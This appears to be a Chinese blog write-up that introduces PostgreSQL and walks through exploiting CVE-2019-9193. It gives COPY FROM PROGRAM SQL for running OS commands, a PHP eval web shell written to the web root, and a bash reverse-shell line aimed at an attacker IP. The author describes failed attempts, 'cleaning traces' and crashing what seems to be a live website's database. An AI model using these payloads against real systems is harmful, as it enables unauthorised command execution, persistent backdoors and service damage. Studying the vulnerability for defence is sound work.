0x01. PostgreSQL是什么?
从SQL就可以看出这是一种数据库,现在学习安全起步基本都是关于MySql的操作,关于postgresql、mssql、Oracle等数据库应该是相对比较少的,这也是kami第一次接触PostgreSQL。
PostgreSQL是一个的开源对象关系型数据库系统,使用和扩展了SQL语言,通常带有C、per、python扩展语言。Postgre SQL还具有高度的可扩展性,比如自定义数据类型、构建自定义函数等。
0x02. PostgreSQL命令执行(CVE-2019-9193)
从postgresql 9.3 版本开始,PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能,它允许数据库的超级用户以及pg_read_server_files组用户执行任意的操作系统命令.
因为只有数据库超级用户和pg_read_server_files组用户可以执行系统命令,所以第一步要先看自身的权限是否足够。
SQL语句: select * from pg_user
上图可以看到现在是postgres的权限,也就是postgresql数据库中的超级用户。 条件满足,那么可以复现下去了。
代码语言:javascript复制
首先创建一个cmd_exec表,然后通过"COPY TO/FROM PROGRAM"执行命令
删除并创建cmd_exec表:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
命令执行测试:
COPY cmd_exec FROM PROGRAM ‘id’;
COPY cmd_exec FROM PROGRAM ‘whoami’;
COPY cmd_exec FROM PROGRAM ‘uname -a’;
COPY cmd_exec FROM PROGRAM ‘ls’;
查看命令执行结果:
SELECT * FROM cmd_exec;
写入一句话木马,依然是利用copy函数,将数据库查询结果copy到指定路径.
代码语言:javascript复制
DROP TABLE kami;
CREATE TABLE kami(t TEXT);
INSERT INTO kami(t) VALUES('<?php @eval($_REQUEST[1])?>');
COPY kami(t) TO '/var/www/html/temp.php';
在当时环境中,写入失败,原因是数据库的权限只能操作数据库的路径,跳出数据库的路径就会执行失败。 当写入文件失败之后,又尝试了一下使用bash反弹shell。
bash -i >& /dec/tcp/攻击机ip/攻击机端口 0>&1
但在执行bash命令的时候,数据库因为没有执行bash命令的权限而报错了。
后续又尝试了一下利用扩展语言如python反弹,也失败。 思路不足,几次无果。 清理痕迹,暂时放弃。
执行命令:
drop table kami;
于是数据库就崩了,数据库一直在处理这条命令,直到我第二周打开那个网站,看见页面才知道,数据库确实被我玩崩了。 哇的一下就哭出来了。